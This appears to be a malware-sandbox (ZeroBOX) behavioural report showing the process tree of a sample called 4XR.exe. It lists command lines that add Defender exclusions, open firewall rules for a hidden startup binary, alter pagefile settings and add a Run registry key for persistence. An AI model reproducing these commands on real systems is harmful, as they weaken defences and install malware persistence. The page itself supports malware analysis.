| ZeroBOX

4XR.exe "C:\Users\test22\AppData\Local\Temp\4XR.exe"
2548
- cmd.exe cmd /c ""C:\Users\test22\AppData\Local\Temp\12.bat" "
  2640
  - wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\test22\AppData\Local\Temp\vbs.vbs"
    2768
    - cmd.exe cmd /c ""C:\Users\test22\AppData\Local\Temp\C3.bat" "
      2868
      - powershell.exe Powershell -Command 'Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp\4.zip"'
        2928
      - powershell.exe Powershell -Command 'Add-MpPreference -ExclusionPath "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\4.zip"'
        3028
      - 7z.exe 7z.exe x -o"C:\Users\test22\AppData\Local\Temp" -y 4.zip
        1964
      - powershell.exe powershell -executionpolicy RemoteSigned -WindowStyle Hidden -file Add.ps1
        2120
        
        netsh.exe "C:\Windows\system32\netsh.exe" advfirewall firewall add rule name=SecuritySystem dir=in action=allow "program=C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\C3.exe" enable=yes
        2176
        
        netsh.exe "C:\Windows\system32\netsh.exe" advfirewall firewall add rule name=SecuritySystem dir=out action=allow "program=C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\C3.exe" enable=yes
        2316
        
        cmd.exe "C:\Windows\system32\cmd.exe"
        2484
        
        WMIC.exe wmic computersystem where name="TEST22-PC" set AutomaticManagedPagefile=False
        2584
        
        cmd.exe "C:\Windows\system32\cmd.exe"
        2780
        
        WMIC.exe wmic pagefileset where name="C:\\pagefile.sys" set InitialSize=15000,MaximumSize=20000
        2752
        
        attrib.exe "C:\Windows\system32\attrib.exe" +h "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\C3.exe"
        2772
      - reg.exe REG ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "4" /t REG_SZ /d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\4.exe" /F
        2948
      - 4.exe "4.exe"
        2980

No process loaded Click on a process in the tree above to load its data.

PID
Parent PID

default registry file network process services synchronisation iexplore office pdf

Behavioral Analysis

Process tree

Process contents